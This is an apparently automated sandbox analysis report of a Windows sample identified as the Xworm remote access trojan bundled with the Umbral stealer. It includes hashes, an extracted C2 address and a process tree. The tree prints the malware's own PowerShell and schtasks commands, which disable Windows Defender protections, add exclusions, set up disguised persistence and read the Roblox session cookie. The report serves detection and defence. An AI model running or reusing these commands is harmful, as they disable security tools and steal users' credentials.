Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-10-2024 03:05

General

  • Target

    df8227c17eee7cc65a3ff5244c073d4e072ee864100b2a293c0ef54e9b5b3ee0.exe

  • Size

    870KB

  • MD5

    bea28a1e680f8b8053e64c8810dad71e

  • SHA1

    8464a9aeaa3a290c9a027484a5b6e1759e9eb0e8

  • SHA256

    df8227c17eee7cc65a3ff5244c073d4e072ee864100b2a293c0ef54e9b5b3ee0

  • SHA512

    b22641529e6e642f852bc43534d49c7bc47668a432edcd3f67f4a879c77aa0e92e1ce259fb41773ba15f0a70396fe031b1073320bc95812fd3fdd2a231caa669

  • SSDEEP

    12288:47wITbhKx7WQeu3D9FPJXOmQ+qO39WoCuwTvk83uRCS26qH3OqtwIulkyF3SkH:4EITMvRFhRRbNWoCfkYSEH3OqtwIuX

Malware Config

Extracted

Family

xworm

C2

build-what.gl.at.ply.gg:10272

Attributes
  • Install_directory

    %AppData%

  • install_file

    svchost.exe

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Start PowerShell.

  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 6 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\df8227c17eee7cc65a3ff5244c073d4e072ee864100b2a293c0ef54e9b5b3ee0.exe
    "C:\Users\Admin\AppData\Local\Temp\df8227c17eee7cc65a3ff5244c073d4e072ee864100b2a293c0ef54e9b5b3ee0.exe"
    1⤵
    • Checks computer location settings
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Users\Admin\AppData\Local\AyoStandard.exe
      "C:\Users\Admin\AppData\Local\AyoStandard.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1300
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -command "& {Start-Process -FilePath 'C:\Windows\Temp\Umbral.exe' -Verb RunAs}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2112
        • C:\Windows\Temp\Umbral.exe
          "C:\Windows\Temp\Umbral.exe"
          4⤵
          • Executes dropped EXE
          PID:4448
      • C:\Users\Admin\AppData\Local\Update Service.exe
        "C:\Users\Admin\AppData\Local\Update Service.exe"
        3⤵
        • Checks computer location settings
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4804
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Update Service.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4308
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Update Service.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1532
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4236
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2000
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1984
      • C:\Users\Admin\AppData\Local\Umbral.exe
        "C:\Users\Admin\AppData\Local\Umbral.exe"
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4428
        • C:\Windows\SYSTEM32\attrib.exe
          "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Umbral.exe"
          4⤵
          • Views/modifies file attributes
          PID:2020
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Umbral.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3428
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4372
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4580
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1420
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" os get Caption
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2216
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" computersystem get totalphysicalmemory
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4888
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          4⤵
            PID:1712
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4680
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            4⤵
            • Detects videocard installed
            PID:5080
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Umbral.exe" && pause
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:4876
            • C:\Windows\system32\PING.EXE
              ping localhost
              5⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:5112
    • C:\Users\Admin\AppData\Roaming\svchost.exe
      C:\Users\Admin\AppData\Roaming\svchost.exe
      1⤵
      • Executes dropped EXE
      PID:2604
    • C:\Users\Admin\AppData\Roaming\svchost.exe
      C:\Users\Admin\AppData\Roaming\svchost.exe
      1⤵
      • Executes dropped EXE
      PID:4844

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\AyoStandard.exe

      Filesize

      9.9MB

      MD5

      248fbfb247664cd19804f7e69f0d9f7d

      SHA1

      f36e218ce7f7eaf8fc5a39d1cccc1125a1249266

      SHA256

      6209a4f84c4d423a5ed048595ab8fa33e8354363ea69000dcb2887e6a5264695

      SHA512

      6621f2c2e17b29aee8076e217647bf9efed8e2c0148d3f054cdf70232569820d600468213a9c77e4dd296cfba3b936f2dfc298538ea4d83f579194b572fb9b65

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Umbral.exe.log

      Filesize

      1KB

      MD5

      4c8fa14eeeeda6fe76a08d14e08bf756

      SHA1

      30003b6798090ec74eb477bbed88e086f8552976

      SHA256

      7ebfcfca64b0c1c9f0949652d50a64452b35cefe881af110405cd6ec45f857a5

      SHA512

      116f80182c25cf0e6159cf59a35ee27d66e431696d29ec879c44521a74ab7523cbfdefeacfb6a3298b48788d7a6caa5336628ec9c1d8b9c9723338dcffea4116

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      6cf293cb4d80be23433eecf74ddb5503

      SHA1

      24fe4752df102c2ef492954d6b046cb5512ad408

      SHA256

      b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

      SHA512

      0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

      Filesize

      654B

      MD5

      2ff39f6c7249774be85fd60a8f9a245e

      SHA1

      684ff36b31aedc1e587c8496c02722c6698c1c4e

      SHA256

      e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

      SHA512

      1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      948B

      MD5

      c65738617888921a153bd9b1ef516ee7

      SHA1

      5245e71ea3c181d76320c857b639272ac9e079b1

      SHA256

      4640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26

      SHA512

      2e2a0ebd93f9d8dd07a7599054bce232683e9add9a35e77b584618040bcfd84a42545352519ec4736cc379002210b6f3ed2d905591c6925c0981b0392b495bfa

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      276798eeb29a49dc6e199768bc9c2e71

      SHA1

      5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

      SHA256

      cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

      SHA512

      0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      6317adf4fbc43ea2fd68861fafd57155

      SHA1

      6b87c718893c83c6eed2767e8d9cbc6443e31913

      SHA256

      c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

      SHA512

      17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      470a31aac9cf705179e47a32ce51f121

      SHA1

      757fc377e0198cae813c99f4d63e29d2a82ec1ec

      SHA256

      cf69cc666c1919e86261080d13dedb0301387c99f3360b674e211bce4071c80c

      SHA512

      5e667ce8238d0c2b6453b3f34757083cda67834c121ac5726e13bcd7689add07d410b67f5227bb9f9e79f6540e8579ff82e95323243905f825c9d7cf8a05cc1b

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      eb1ad317bd25b55b2bbdce8a28a74a94

      SHA1

      98a3978be4d10d62e7411946474579ee5bdc5ea6

      SHA256

      9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98

      SHA512

      d011f266c0240d84470c0f9577cd9e4927309bd19bb38570ca9704ed8e1d159f9bea982a59d3eefef72ce7a10bd81208b82e88ef57c7af587f7437a89769adc0

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      22310ad6749d8cc38284aa616efcd100

      SHA1

      440ef4a0a53bfa7c83fe84326a1dff4326dcb515

      SHA256

      55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf

      SHA512

      2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      1a11402783a8686e08f8fa987dd07bca

      SHA1

      580df3865059f4e2d8be10644590317336d146ce

      SHA256

      9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

      SHA512

      5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      96ff1ee586a153b4e7ce8661cabc0442

      SHA1

      140d4ff1840cb40601489f3826954386af612136

      SHA256

      0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

      SHA512

      3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cjlgkjbl.fnt.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Umbral.exe

      Filesize

      227KB

      MD5

      b876a9986ec4c6328ec6c702543f29c5

      SHA1

      7b4e1df1ea7946d1c6c065af9503d106b8310578

      SHA256

      cef6907644852d2c121218c464a70e125a39750a5cbd31c556d5c214a3e96750

      SHA512

      179332260823d94d5528692f26d22118dc87bedfe3edc2ed5ccb12c531fdfb0529bfea8662ce5dca038c3ba8048176e8df89280421af7d3f7703a14d5c035041

    • C:\Users\Admin\AppData\Local\Update Service.exe

      Filesize

      67KB

      MD5

      b60e7b4d97aa0e7568b5f1e1b0cd2315

      SHA1

      0a3dc1c0c807017dc115685309ea59f2aba956cd

      SHA256

      9f053ed5f7835f881b70f1569288c360b221431f797cd3018adcd769f02cad57

      SHA512

      4ed1d1ba0abad06a463a2ecc220cbee5635ed9719744aa1a70a8daaeb05eb5df56c0f2123fe7ec631fc30e40c64765d6d45ef99c0e3f6d76ab8a828a56274657

    • memory/1300-18-0x000001BC35C60000-0x000001BC36644000-memory.dmp

      Filesize

      9.9MB

    • memory/1300-20-0x000001BC50990000-0x000001BC509A2000-memory.dmp

      Filesize

      72KB

    • memory/1300-196-0x00007FFF61230000-0x00007FFF61CF1000-memory.dmp

      Filesize

      10.8MB

    • memory/1300-17-0x00007FFF61230000-0x00007FFF61CF1000-memory.dmp

      Filesize

      10.8MB

    • memory/1300-22-0x000001BC50E80000-0x000001BC51256000-memory.dmp

      Filesize

      3.8MB

    • memory/1300-21-0x000001BC50A50000-0x000001BC50A6A000-memory.dmp

      Filesize

      104KB

    • memory/1416-5-0x00007FFF61230000-0x00007FFF61CF1000-memory.dmp

      Filesize

      10.8MB

    • memory/1416-2-0x00007FFF61230000-0x00007FFF61CF1000-memory.dmp

      Filesize

      10.8MB

    • memory/1416-1-0x000001C6612F0000-0x000001C6613D0000-memory.dmp

      Filesize

      896KB

    • memory/1416-0-0x00007FFF61233000-0x00007FFF61235000-memory.dmp

      Filesize

      8KB

    • memory/1416-19-0x00007FFF61230000-0x00007FFF61CF1000-memory.dmp

      Filesize

      10.8MB

    • memory/1416-3-0x000001C67BA40000-0x000001C67BC54000-memory.dmp

      Filesize

      2.1MB

    • memory/2112-50-0x000001C765140000-0x000001C765162000-memory.dmp

      Filesize

      136KB

    • memory/4428-128-0x00000220E2C30000-0x00000220E2C42000-memory.dmp

      Filesize

      72KB

    • memory/4428-88-0x00000220E2C80000-0x00000220E2CF6000-memory.dmp

      Filesize

      472KB

    • memory/4428-46-0x00000220C8510000-0x00000220C8550000-memory.dmp

      Filesize

      256KB

    • memory/4428-89-0x00000220E2D00000-0x00000220E2D50000-memory.dmp

      Filesize

      320KB

    • memory/4428-127-0x00000220E2C00000-0x00000220E2C0A000-memory.dmp

      Filesize

      40KB

    • memory/4428-90-0x00000220C89F0000-0x00000220C8A0E000-memory.dmp

      Filesize

      120KB

    • memory/4804-47-0x0000000000FC0000-0x0000000000FD8000-memory.dmp

      Filesize

      96KB